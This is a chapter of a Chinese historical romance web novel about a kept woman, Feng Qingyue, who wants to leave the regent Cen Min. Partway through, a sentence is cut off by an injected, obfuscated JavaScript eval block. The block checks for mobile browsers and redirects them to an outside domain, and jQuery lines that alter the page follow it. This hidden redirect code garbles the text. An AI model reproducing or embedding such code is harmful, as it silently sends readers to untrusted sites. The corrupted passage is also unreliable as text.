浓厚夜色不影响岑闵的速度,他一路大步向前走得飞快,像在被鬼追。
冯清月提着小灯慢悠悠地走在后面,借着岑闵在前面看不见,毫不客气地翻了个白眼。
又这样。也不知道谁惹他了,一见面就摆个臭脸不知道在给谁看。
真不知道自己以前是怎么忍的。
冯清月想了又想,感觉自己之前可能是被岑闵的好颜色迷昏了头脑。
唉,真是男色误人。
-
岑闵走得快,但两人几乎前后脚抵达膳厅。
夜色寒凉,冯清月又穿的单薄,一进温暖的屋内就忍不住打了个寒颤。
红蕊忙给冯清月递来一条热烘烘的帕子,既是擦手,也可以拿着暖一暖。
岑闵冷哼一声,刚病愈就穿那么薄,冯清月为了争宠真是不择手段。
一直不安的心落到实处,岑闵坐到位置上,令人将群仙羹移到冯清月面前。
他可不是喜欢或心疼冯清月,一个会背叛自己的女人,他再怎么样也不会喜欢她的。他只是怕她又冻生病,又要大张旗鼓请郎中,让外人看笑话,觉得他堂堂一个摄政王连个女人都养不好。
冯清月缓过来些,她轻吸一口气,拿起筷子准备替岑闵布菜。
求人办事态度还是要有的。
她夹起一筷子芙蓉鲈鱼脍,脸上带了些笑意:“王爷,这是厨下新......”
“食不言。”岑闵冷淡的看了冯清月一眼。
别以为这样就能讨好他。
冯清月的筷子滞在半空中,她心底暗骂一声,面上温柔一笑,将鱼脍放进自己的碗里,没再继续说话。
狗东西,真烦人。
岑闵冷眼瞧着冯清月细嚼慢咽地一口一口吃着饭。
他有几分不解,明明是个满肚子小心思的人,外表怎会看起来这么可怜可爱?
要是没有做那个梦,他还真的容易被她这幅样子给骗过去。
-
冯清月用罢漱口茶,拿帕子轻轻地沾了沾唇角,正襟危坐,抬头看向岑闵,岑闵也正神色莫名地盯着她。
她感到有些莫名其妙,不过她现在不再像以前那样为岑闵一个脸色辗转反侧,所以也不再想去猜测他的想法。
饭用罢,该说正事。
冯清月酝酿出一抹柔润的笑,委婉开口:“妾斗胆,求王爷给个恩典,让妾跟妾的娘亲团聚。”
岑闵毫不在意:“你直接递帖子将她请过来不就行了,这种小事不必问我。”
冯清月有些烦躁,他怎么听不懂话呢?非要她说得很明白吗?
她吸了一口气,打算说直白些:“不是,我、妾是说想跟我阿娘一起出......”
“好了,此事不必再说。”岑闵直接打断她
岑闵觉得冯清月就是和以前一样,想多跟他说上几句话。
他不想继续听些无意义的废话,不耐烦地出言打断。
冯清月看着岑闵带着几分不快的脸,知道今天是没机会把话说完了。她安静下来,思索该怎么让岑闵把她放出府。
岑闵对冯清月的观感很是复杂,她说话也烦,不说话也烦。
索性直接把她拉进卧房。
冯清月下意识挣扎了一下,又忽想到些什么,尽力控制住自己。
她不能跟他撕破脸。
灯花爆了一下,穿着豆绿窄袖短襦的丫鬟们进来收拾桌面。
-
云销雨霁后,冯清月半倚靠在床头,拥着被子慢慢调整气息。
秋香地联珠团窠纹的被子在暗淡的灯火下,衬得她不施粉黛的脸越发清透白净。
她颊上尚有些许残存的红晕,眼神却已经冷静下来。
还是要尽快出府。冯清月面无表情地想。
岑闵沐浴时不喜旁人伺候,自己随意地擦着头发慢慢走出来。走到近前,发现冯清月正跪坐在床上,神色是罕见的凝重。
他动作莫名一滞,随后头发也不擦了,手中布巾随意抛到一旁,冷脸站在那里,看冯清月到底想做什么。
冯清月看着岑闵面无表情的脸,语气坚定地把吃饭时想说的话说完:“承蒙王爷抬爱,让妾得以安居在此别院,但如今王爷即将迎娶正妻,留妾在此只能平添烦恼,妾愿替您分忧,自请离去。”
岑闵心下一松,随即脸上带了几分愠色。
前些日子冯清月总是找机会暗示他,想让他给个妾室的名分。他一向不喜冯清月对他使这些上不得台面的小心思,纵然已经打算把她抬进府里,也决定先不告诉她,冷她一段时间。
本以为她已经安分下来,没想到病刚好又来这一出。
他有些动怒,想要教训她一顿,看到她单薄的身影又莫名有些不忍,一口气不上不下的。
岑闵犹豫片刻,还是说了:“你不需如此,等安婉进门后我就会把你抬成妾室,你既跟了我,我也不会薄待你。”
还是反正暂时安抚一下她也没什么,她也翻不出什么浪来
冯清月明白岑闵定是又误解了她的意思,她有些烦躁,但不得不耐着性子继续跟他说:“王爷,我不是、唔......”
岑闵两步迈上脚踏,不耐地掀开被子,没等她说完就打断她:“你要还有力气咱们就再做些别的事。”
-
冯清月睁开眼,发现岑闵还躺在旁边,一手支头,一双狭长厉眼正盯着她看。
她坐起来,脸上堆起一点笑容,张嘴欲言。
岑闵看了冯清月一眼,心下莫名一跳,下意识斥道:“大清早的,你最好说点爷爱听的话。”
冯清月闭上了嘴,想了想又重新开口:“......我是想问你,你今天晚上还回来吗?”
罢了,也不急于这一时。
岑闵黑沉沉的眸光从上挑的眼尾处投下来,面无表情道:“不要恃宠生娇。”
……
外面渐渐响起了叽喳的鸟叫声,晨光从雕着缠枝牡丹的窗棂上透进来,到了不得不起床的时辰,岑闵早早已经离去,但冯清月却依旧想不通他那句话是哪里得出来的。
恃宠生娇?她吗?
他们两个的相处到底哪里跟‘宠’相关了?
也对,岑闵把她养在这个别院,就跟别的人家养了个小猫小狗样的宠物似的。
冯清月眨了下眼,将脑海中繁杂的思绪赶走。
多思多想,不过也是徒增烦恼。
她唤人进来替她梳洗。
红蕊拿着帕子给冯清月净脸,帕子的温热让冯清月有些紧绷着的脸放松下来。
“小姐,今日挽个双蟠髻吧,正好插这支琉璃簪。”
红蕊从桌角的紫檀描金嵌百宝双层妆匣中稍作挑选,拿起一支七宝琉璃簪在冯清月鬓边比着。
冯清月可有可无地点了下头。
红蕊见状放下簪子,从冯清月散在肩上乌黑浓密的发丝中轻轻拿起一缕,手指灵活地在柔顺的发间穿梭,干净利索地给冯清月盘好了发髻。
冯清月正对着镜子比
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731127|174022||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对耳饰,她放下手里的珍珠耳坠,微微侧了下脸,看了看插在发间的琉璃簪,有几分感慨道:“我在冯府的时候从不曾想,有朝一日咱们红蕊也能又快又好地盘好这么复杂的发髻。”
红蕊抿嘴笑了一下,不假思索地说:“这不都是被小姐练出来的嘛,当时王爷......”
意识到自己说错了话,红蕊立马停住话语,无措地站在原地,神色有几分惶然。
她家小姐昨日对王爷的态度她都看在眼里。
小姐定然是被王爷伤透了心,两人的相处才变得不咸不淡的,她不该再提起王爷惹小姐心烦。
冯清月瞥见红蕊的紧张模样,笑了一下,“怎么了,这又不是什么见不得人的不能说的事。”
不过是因岑闵随口的一句话,她拉着红蕊研究遍了上京城里官宦女子间流行的各种发式罢了。
没什么不能说的。
红蕊看着冯清月笑着的脸,眼睛里闪过一丝心疼。她很快岔开话题,说些玩笑话,逗得冯清月眉眼舒展。
阳光透过画屏,柔和的光线投到冯清月的脸上。
冯清月仿佛连脸上细细的绒毛也在发着光,肌肤清透如玉,浅檀色的胭脂微微压了几分她眼角自带的妩媚,又给她增添了一抹端庄,明明小巧饱满的唇珠尚未着色,但在柔光中却显得娇嫩欲滴。
红蕊拿着唇脂万分纠结,不知道该用哪个颜色的才能与这般艳丽的景象共存,最后用了一抹海棠红,点在娇唇的正中间,衬得冯清月本就娇妍的脸更是大放光彩。
冯清月左看右看十分满意,她放下镜子,正准备夸赞红蕊两句,丁香突然进来了。
没等她露出不悦的神情,丁香急忙递过来一个信封,说是刚刚门房差人送过来的,老爷给冯清月的家信。
她说的老爷是冯清月的父亲,度支员外郎冯远嶂。
红蕊看了她一眼,接过来递给冯清月,冯清月垂下眸子看着手中的信,浓密的睫毛遮挡住了眼睛中的情绪,半晌,她轻嗤了一声,动手拆信。
丁香将信送到后并没有离去,她小心地四处张望,不动声色地将整间屋子的布置摆设收入眼中,面色恭谨如常,眼底闪过一丝暗藏的妒恨。
她本是冯清月嫡母身边的婢女,后来被冯清月嫡母指给了冯清月,跟随冯清月一起来到了这个别院。
出门前一晚,大娘子特意把她唤了过去,说在所有婢女中她最疼的就是她丁香,又说摄政王容貌俊雅权势滔天,只要能获得他一星半点儿的宠爱,这辈子就吃穿不愁了。
不曾想冯清月往日看着老实沉闷,竟也是个鬼精的,自来到这别院后,很快就找到由头把她打发去做些杂事,平日里无吩咐根本不让她进正房。
她在冯府好歹是一等丫鬟,现下竟沦落到跟一群婆子们一起做杂事......
冯清月没有错过丁香眼底深藏的情绪,却也懒得计较,她看了红蕊一眼,红蕊会意地把丁香‘请’了出去。
“你知道父亲来信所为何事吗?”冯清月语气淡淡的。
红蕊摇摇头,轻声嘟囔道:“定然不是什么好事。”
冯清月笑不及眼底:“他在信里斥责了我一番,怪我入别院三年肚子里都没动静,把冯家的脸都丢尽了。又怪我空霸占着摄政王,还不能帮家里谋取点利益,着实无用。”
红蕊张口欲安慰,又听见她家小姐漫不经心的声音:
“既是如此,那当初他怎么不向岑闵自荐枕席?”
“我看他也是风韵犹存。”